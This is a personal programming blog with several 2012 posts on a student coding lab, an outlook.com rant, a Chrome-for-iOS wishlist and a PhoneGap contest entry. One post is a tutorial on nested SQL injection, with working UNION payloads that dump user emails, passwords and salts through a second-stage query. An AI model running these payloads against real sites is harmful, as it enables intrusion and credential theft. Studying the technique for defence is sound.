CaptNemo.in

SDSLabs - My experiences

2012-12-27T00:00:00-08:00

Introduction

For the past two years, I have been involved in a student group in our campus called SDSLabs. It has been the most fun two years of my life. I have acted as programmer, developer, manager, monkey-coder, event-manager and all other roles one might expect in a startup. However, I have never really blogged about any of this. Someone pointed it out recently to me, the truth is I have been meaning to write this since a very long time, but its kind of hard to put down in words. I'll try my best. This post is highly specific to iit roorkee (you have been warned).

Chronology Of Events / Timeline

Back in my first year, after joining something called SDS as a proficiency in the campus, I was learning PHP. With no-one to guide me, I had only attended a single talk by Shobhit Singh where he talked about dynamic websites. I was instantaneously hooked. I did something called lion, a twitter clone and it won 3rd prize in Srishti. It had follow, unfollow, messages, tweets, and groups (one feature which set it apart from twitter).

The code was a mess of php and inline html, and I have never looked upon it since. I did a couple more projects by myself , learning the in and outs of php (I was still to hear about ruby/python). At the end of my first year, I did a project management system under Kumar Shashank who taught me about MVC and the need of architecture in a software application.

At the very end of the project, a group called SDSLabs was formed. Along with a few people Shobhit sir had found, we founded SDSLabs. Everyone in the group was passionate about building things. And somehow, magically, I was in it. And there began the most beautiful chapter of my life..

Coding & Learning

After completing the PMS (Project Management System), I moved on to work on Filepanda, and then the entire framework application for SDSLabs. All our applications are powered by a single API, which I wrote. Meanwhile, Harshil was working on DC++, and other awesome things. I met pranav sir, and was introduced to the thousand-quirks-of-css. It shifted to mint, and then to ubuntu. I learned the ins-and-out of managing a linux system. Back then SDSLabs was limited to the small committee room in Hobbies Club (with Shobhit Sir working tirelessly on funding for a better lab).

And I met Ishan Sir. If you are reading this, thank you for teaching me how to learn. I had tons of night-outs with him discussing things I barely remember now. I became a creator. I executed on tons of ideas. Most never saw the second day in their lives, but I still have them with me, as memento of the past and what was to be. Ishan Sir was a gold-mine for learning. Everything I could ever ask, and he'd hand over a resource. Some of my most productive learning days were spent with him.

Recruitments

After a single semester of work, we held our first recruitments. I wrote my first blog post for the lab at the time noting down my amazing reaction to the awesome people that had joined the lab.

It is difficult to distil into words the awesome learning experience I had with all these people. Going to chapos, thinking about how we could expand. What else awesome stuff we could do? One night hackathons, where we coded awesome stuff.

And I started to work on muzi, which was to be my application. It stands at 811 commits today, with over 200 issues in our project management system. I went into the development knowing PHP and bits of AJAX, and came out a JQuery fanboy. Muzi has been my primary music player for almost an year now. It feels awesome to listen to music on a music player you coded. The initial version was based on Zune's design on Windows. We kept on improving it till it was exactly what we wanted. Today, people have listened to almost 1 lac songs on Muzi, and it feels awesome to have been behind something that is so widely used (within the campus).

Launch

The next semester involved our actual launch (11-11-11) of all our applications. We had all converted into semi-breathing coding machines cum zombies by that time though. Sleepless and exhausted, we did prevail, and launched a few hours early. The Launch was appreciably recieved in the campus, although I had to leave for the Deloitte CCTC Contest the very same day(which we won!).

I ended up doing a rewrite of Codematics (codename CodeBot) in node for the launch. It has a geeky, command line interface which was inspired by goosh and xkcd's unix interface. Along with that, Muzi was launched to huge appreciation as well.

Recruitments Again

This was the semester where our group actually expanded. Our count is almost 42 now, and nothing could make me more glad than actually being with all these people.

I donned lots of hats teaching, guiding, coding, and managing people. Linux became one of my top skills, and I learnt a lot. We shifted to Redmine for management, and I ended up doing a lot of server-administration related stuff (gitolite,redmine,vhosts ,apache,varnish etc).

It has almost been a year since our last recruitment. We have been working of tons of things; some of which will be launched soon. I took lectures on far apart topics from "Usability Designing" to ["Software Development 101"].(https://speakerdeck.com/captn3m0/software-development-101) I mostly worked on internal features, improving our API, and something called Presence. We also participated in two hackathons, and we won both of them.

Where, now?

Our group is still nascent, and although I have not mentioned every project that the group (or even I) have done for fear of making this post too long. That itself speaks volumes about what we've done in a short span of two years. Our tagline reads "iDream. iCode. iInnovate". I wish for the group to continue on that path. Develop things that make life easier; for everyone around the world.

People

Throughout this journey, there have been lots of people, without whom this blog post would never have been written. You all know who you are. Keep being awesome.

Skills

I used to call myself a programmer, but now I'm in a more management-esque role in SDSLabs. Its my share of the work to manage projects, and track progress. That does not mean that I've given up coding, and I still do code a lot for our internal projects. I have also become somewhat of a UX enthusiast, taking care of most ux work done in lab. I have also found myself becoming an avid learner, and have Ishan Sir to thank for that.

Anecdotes & Stories

This post already reads more like a things-i-did-at-sdslabs, which is something I was hoping to avoid, instead of why-i-love-sdslabs, which is what i wanted. So I'm gonna stick a few moments and events that stand out to me...

We have a board with three defining people on it: Steve Jobs, Dennis Ritchie, and Linus Torvalds.
We have had mind-blowing pizza chapos. So many pizzas that they were brought in 2 rickshaws from dominos. Yup.
I am known as the bot in lab. Mostly because of my highly rational unemotional responses, and other things. There is another person, who is trying to get that title, though.
I am famously known for turning down "writing a letter that could have fetched us lots of funding" for coding instead. (In my defense, there were other people who could have handled it better than me, and we didn't need it badly at the time)
Almost every group in the campus describes their group as a second home. But in our case it is partially true. We spend almost all our free time in lab. I spent close to 500 hours in the lab in this semester alone. Where does this all this time go? Talking, discussions, development, teaching, lectures among other things.
SDSLabs feels more of a startup than an actual student group to me (and Shashank as well). We have to fight for our funding, manage people, and develop products.
I have done way too much copy-editing to be called "just a developer" anymore. I have spent hundreds of hours fighting Pinta and its numerous bugs.

It has been a great experience working with all these people. I can just hope that the group keeps moving to better innovation, and grander ideas in the future. We are recruiting from first year in upcoming January. If SDSLabs feels like a place you'd enjoy, just come over and take our test. It changed my life, maybe it will change yours too.

Why I'm leaving outlook.com

2012-12-22T00:00:00-08:00

I'd been one of the most eager users of the new outlook.com redesign. I'm a real fan of Metro (sorry, I must call it the New Windows 8 Design), and think that the correct typgraphy mixed with the correct design language should help the users in a great way forward.

Unfortunately, outlook.com is not there yet. The application was made to resemble the Windows Mail app in Windows 8, with 3 tiles per screen. On Windows, the application works in 1/2/3 width modes differently. It changes its navigational strategy to allow you to browse your emails easily. While this could have been easily accomplished using responsive design techniques on the web, outlook does not use it and loses sorely needed funcionality.

The typography of the app is horribly broken, especially in Linux. The font of choice for the app is Calibri, which is missing in Linux, and as such, uses the default system font from the browser. The font sizes are inconsistent, and the application shortcuts are horrible, even though I am using GMail shorcuts option.

The "Insert Link" option is horribly designed. It does not respond to enter keys, and has no place to add "Text" for the link either.

There is no mechanism for quoting messages properly at all. There is no such thing like Conversation View, and I have to waste large amounts of time just to figure out what was added new in the reply to my own mail. As such this becomes largely cumbersome to keep up with.

The archive option from GMail (which keeps my inbox clean) is notably missing as well. (Update: This was added later, with the ability to use archive to move to any custom folder)

The "Active View", which seems to be a quick preview mode, only works on Windows, because it uses Silverlight. I tried using Moonlight (Silverlight's OSS clone for Linux), but it seems that Active View uses new Silverlight features. Hence, I can only download pics from Outlook, and not browse them online (which is a huge pain-point for me).

/Rant

Things I expect in a Chrome/iOS update

2012-07-14T00:00:00-07:00

I've changed to using Chrome for iOS as my primary browser. Since I only own an iPad 2, all of my observations are with regard to the iPad version of the browser.

Why I love Chrome

Chrome is already my primary browser on my primary machine, and after it came out for the iOS, I tried it out hesitantly, but to my surprise (contrary to what the internet says) it is working out even better than expected.

Ability to sync tabs across my laptop and tablet. I can leave my laptop and continue reading on the go. I don't own a Mac, so I can't comment against how Safari/iCloud does it, but it works well enough for me.
All my desktop bookmarks (and bookmarklets) are available and functioning instantly.
Omnibox is awesome, and saves me a lot of trouble, looking in my history, bookmarks, and pre-fetching stuff. This was the most important feature that Chrome v1 brought along with it (when it was released in Windows), and its nice to find it work exactly as indended.
Incognito Mode (I previously used Dolphin in private mode, but this is far better).
Complete bookmark listing while creating a new bookmark. Unlike Desktop version of Chrome, which only shows 5 most recently used folders. I bookmark stuff extensively, and it makes the process much easier for me than on the desktop version, ironically. See Image for Comparision
Tab Switching is brilliant. It seems to be inspired/copied straight from Paper, but it is executed well enough for me. It gets better once you get used to it. The tag bar itself is scrollable as a plus (you can hide/unhide tabs). I've read people complaining about this, but it helps me browse on the ipad one-handed.
It feels fast, especially after continous use. I don't know if its the ported networking stack, or better caching, but page load speeds are better than Safari for me in general.

Note: If you have a jailbroken device, you can setup Chrome as your default browser using BrowserChooser from Cydia. The best part is that home-screen shortcuts open in Chrome as well. I've ditched Facebook App for a shortcut icon to touch.facebook.com as a result.

Things I want

Support for configurable search engines. I use them extensively (for eg duckduckgo, google lucky search, amazon, ebay, github, stackoverflow and even google mobile search). The pre-defined search engines are of no use to me (Bing/Yahoo/Guruji).
Find in Page. This is a no-brainer. Edit: This is available via Chrome Customizer in Cydia for a jailbroken device.
Ability to turn off images/javascript) (Content Settings). I'm not sure if it will be possible w/o proxying like how Opera does, but this would be nice to have (since people might want to save bandwidth on 3g).
Support for emailing an entire page (rendered).
UserScript support. I don't know if apple would allow it at all, but I think the Apple ToS disallows code to be downloaded. What if there were some sort of linking support to allow me to insert some external script tag?
Readability/iReader like support. The safari readability link does work wonders. This could be simulated with a bookmarklet, but once again calling them is hard. Update: ChromeCustomizer can do this via settings menu (see below).
Better access to bookmarks/bookmarklets. At least show me the mobile bookmarks so I can keep them separate.
Wait a bit more before taking the page snapshot for the speed-dial. The GMail snapshot has always been blank for me. At least check if the snapshot is completely blank, and wait a bit more if that is the case.
App shortcuts. The kind like you get for almost all websites on Chrome Webstore. I think they are referred to as "Chrome Apps" against "Extensions", which would be completely disallowed as per Apple ToS. Since Apps are just shortcuts and some icons, they should be allowed in some manner.
Better history support. Seeing just the last 6 closed tabs kind of sucks. Give me some real history browser (and improve the one in desktop chrome while you're at it).
Mailto support (for gmail etc). Don't know if possible, but would be nice to have.
Selection Mailing. Just let me select and mail some html.
Handle pdfs better. By default chrome redirects to Safari for pdfs. After changing Chrome to default, it does handle pdfs fine, but I miss the "Open In iBooks" link. Don't see this happening though. (Update: This was fixed in a Chrome Update)
Webintents support would be nice to have (via something other than chrome Webstore, I Guess)
CloudPrint support. I don't use this, but I am assuming there are people who do.
FullScreen support of some sort. Safari in iOS 6 is bringing this much asked for feature, so there are people who would love to have this. Chrome's faster tab switching should help it out with some of the Full Screen issues. (Edit: This is available via a three finger tap if you install Chromizer from Cydia's ModMyi repo). Chromizer also forces the iPhone style tab switching on the iPad as a side-effect.

There is also a ChromeURL tweak available for Jailbroken devices that changes the keyboard layout to the the one used for address bar in Safari (So called tld keyboard).

Another one called ChromeCustomizer offers the following:

Add one bookmarklet to the settings menu. I'm using Readable at present.
Adds a broken fullscreen implementation (maybe it is clashing with Chromizer) via the Menu. I prefer Chromizer's 3 finger tap for fullscreen.
Adds a Find in Page feature.
Adds some filtering for ads/tracking websites.
Adds an option to change Chrome tab switching mode (iPhone vs iPad).

See this blog post for some more tweaks available on cydia.

Nested SQL Injections

2012-06-09T00:00:00-07:00

I recently did something along this line, and this technique is really cool. (I prefer to call it "inception" injection). Its pretty easy once you figure it out, so here it goes.

If the result of the first query is used as an input in the second query, and the first query is vulnerable, we can use the output as a "input variable" into the second query itself. This would be useful in places where the second query has a better display method than the first one (for instance length restrictions).

Query 1:

SELECT * FROM users WHERE email='$email' AND password = '$pass'

This query is usually accompanied with:

<?php
$_SESSION['email'] = $row['username'];

Query 2:

Assuming something like a profile page:

SELECT * FROM user_details WHERE email='{$_SESSION['email']}'

Injection

Injecting the first query (basic)

SELECT * FROM users WHERE email='user@email.com' # AND password=''

Everything after # should be treated as a comment. Hence forward, I would not write stuff after # for brevity.

Thinking backwards, we could create a custom query for user_details:

SELECT * FROM user_details WHERE email='' UNION SELECT * FROM user_details #

This would show the details of the first user in the profile page. Let's think a bit larger:

SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password) FROM user_details #

Usually, this won't work (different number of columns in results). You'd have to use ORDER BY to guess the number of columns. Writing only the UNION part now:

UNION SELECT * FROM user_details ORDER BY 1 #
UNION SELECT * FROM user_details ORDER BY 2 #
UNION SELECT * FROM user_details ORDER BY 3 #
UNION SELECT * FROM user_details ORDER BY 4 # -- Gives Error

So we realize that user_details has 3 columns. Coming back, we could do:

UNION SELECT GROUP_CONCAT(email), GROUP_CONCAT(password), 3 FROM users #

That would give us details upto 1000 characters (GROUP_CONCAT limits). To mitigate those limits:

UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0)

Change the OFFSET and you're ready to roll.

Inception Injection

This was all a theoritical attack on the second query. Granted you could do lots of stuff from here on the first query, but it is far less responsive (Doesn't give much output). The only thing you can modify is the email, which offers you a single field.

However, the only attack vector ($_SESSION) for the second query is not directly controlled, but comes instead from the result of the first query. So to perform this attack on the second query, we take the second injection, and use it inside the first one.

SELECT * FROM users WHERE email='' UNION SELECT * FROM users # -- will give us first user
SELECT * FROM users WHERE email='' UNION SELECT * FROM users  ORDER BY 1 # -- keep increasing to get number of columns
SELECT * FROM users WHERE email='' UNION SELECT 1,2,3 FROM users # -- This would let us know which column corresponds to the email id
SELECT * FROM users WHERE email='' UNION SELECT "<inject second query here>",2,3 FROM users # -- This would let us know which column corresponds to the email id

Although we have been writing injection code starting with UNION, it actually would start with ' UNION... Using our last injection code for the second query here, it becomes:

SELECT * FROM users WHERE email='' UNION SELECT "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #",2,3 FROM users #

What happens on the server side:

<?php
    $_SERVER['email'] = "' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #"

and the second query becomes:

SELECT * FROM user_details WHERE email='' UNION SELECT GROUP_CONCAT(email),GROUP_CONCAT(password),GROUP_CONCAT(salt) FROM (SELECT email,password,salt FROM users LIMIT 50 OFFSET 0) #

Note that we still have to keep a # at the end of the inner query. There are portions after # which we still need to discard. Feel free to contact me if you have any further doubts. I am sure this is a well-known and used by people already, but this was something new to me.

Akira - Winning entry to the Adobe Express Apps Contest

2012-05-23T00:00:00-07:00

This is the obligatory blog post that comes along with winning the Adobe Express Apps Contest.

Contest Rules

The contest rules asked you to develop a mobile application, using Adobe Phonegap and related technologies(read Dreamweaver) in a time frame of hardly 18 hours. This duration was assuming that one does no sleep, which I did not.

The problem statement for the application was to create a mobile application for a SUV car manufacturer. The application had to be socially engaging and use the hardware capabilities offered by the device.

Our Interpretation

We started with the problem statement as the complete guide for our application and ought bottom up for an application that would be the least and best amount of work to create an app that fulfils the app requirements.

We started off with a few wireframes, and features thrown around. At the end of the one hour mark, we had our feature list down to :

Owners can share pics of their cars. We wanted the application to be for the owners of the cars, which brings in a lot of additional data. Pic sharing was the most logical thing to do. We were thinking something like an Instagram Community where everybody posts pics about where they have been, their rigs and so on.
A mileage meter. This was a slight gamification of the GPS data that we get. At the start of every journey/trip, you could mark it as such in the app, and we would record your position every 5 minutes. At the end of the trip, you could mark your ending point and see how much you travelled. Also important was the fact that we decided to show a number corresponding to every application user, showing how many miles he/she has travelled so far. Seeing that the next guy has travelled only so and so more miles than you may lead you to travel more.
Maps, obviously. A map for all the previous journeys that you have taken.

Work

We tried to start with JQ.Mobi, which is an alternative to Jquery Mobile, but could not justify it, and switched to JQuery Mobile as it offered better integration with Dreamweaver.

The basic application layout was done using a mix of JQuery Mobile and some custom css. I came across a very good service called Build Phonegap, that allows you to compile your Phonegap application online to different platforms. We started with basing our application on the Phonegap Starter App on GitHub which was quite good. The examples directory in the phonegap download is what we ended up using, though.

Edit: After working a lot more in mobile development, I have come to see a lot more frameworks, and find JQTouch to be quite the minimalist do-one-thing-well plugin.

The most difficult part was to get the application to compile for iOS, without paying the Apple Developer Licence. Since, I could not see myself selling iOS apps anytime soon in the Apple App Store, I was stuck with a jailbroken iPad + iPod Touch, and had to figure out out to compile.

The steps, which took me a lot of time to find on the internet, include :

Download and install the XCode and the Adobe Phonegap toolkit. I downloaded the latest version, 4.2 for xcode, which makes the process a bit easier.
Follow the instructions on this youtube video to allow xcode to compile your application without Code Signing.
Create a corvora application in xcode and follow these instructions to add the www folder to the application.
Compile. If you have an iDevice connected, you should be able to compile and install your application in a single step.

You may need to change your application configuration to "Do not code sign" for this to work.

Getting all the above steps to work for the first time, on a borrowed MacBook Pro was a lot of work, for a mac noob like me. But at the end, getting to see the application getting launched on multiple devices and looking equally good was worth it.

The rest of the time was spent on getting the application features to work, while fighting off sleep. The end result was a still-incomplete application , which ran on multiple devices.

Blackberry

Unfortunately, we were not able to run the app on the only Blackberry Phone that we had as Phonegap only supports Blackberry 5 as of now, while our phone had been upgraded to 6.

Our winning strategy from the start had been to dazzle the judges with an application running across multiple devices, and working equally good. We were pretty sure that none of the other contestants would put in so much effort to get it to run on non-android devices.

Backend

I wrote the application backend in PHP limonade, a framework that i am quite used to. The concept was to give out a rest api to the application to use to Authenticate users and carry out backend tasks.

Code

The code is obviously messy, as a result of being hacked in on a single 18 hour marathon. You may be able to get a few good ideas from the implementations, though. The entire code is available at my akira and akira-backend repositories.

Thoughts on Phonegap

My second slide in the presentation I did for the contest(made on Keynote on the Ipad, while walking to the contest room) says proudly "Phonegap is awesome". And i seriously mean that. I've got started in the world of mobile development, while not having to worry about cross browser compatibility issues, and the like. I can do stuff easily using the already existing technologies that I know and love. There are a ton of excellent Phonegap plugins out there, and many more being written right now.

I am really impressed with what a web developer could do with Phonegap, and its ease of use. The Adobe Developers promised me that the integration would be far better in Dreamweaver 6, which I might just try. Although, it was far easier for me to compile and install the application on an android phone, so I hardly used the emulator which I took the pains to install.

Expectations

What I'd really love, though is a Phonegap simulator. Instead of having to install an android emulator, what if Dreamweaver comes with a Phonegap simulator. Since Phonegap is all javascript, it should be trivial to create basic UIs that look and feel like the native interface of the OS chosen. I would still have to do final tests on the emulator, which i believe are worthless, compared to running it on actual devices. My point is, installing the android emulator and getting the app to run in a emulator is really no big deal, but turns out be a huge time consuming step. For interested web developers, this could be skipped pretty easily, if only Phonegap had its own simulator.

This is all just theory, as you'd have to install the complete Android and ios sdk to compile it for your device, anyway. But it would be a welcome step.

Presentation

The presentation was made as a string of screenshots developing the application, so its not really much help. But here it is anyway. View Original.

Prize

I won a PS3. Yay!

If you have any problems with the code, or the process, you can contact me at my about page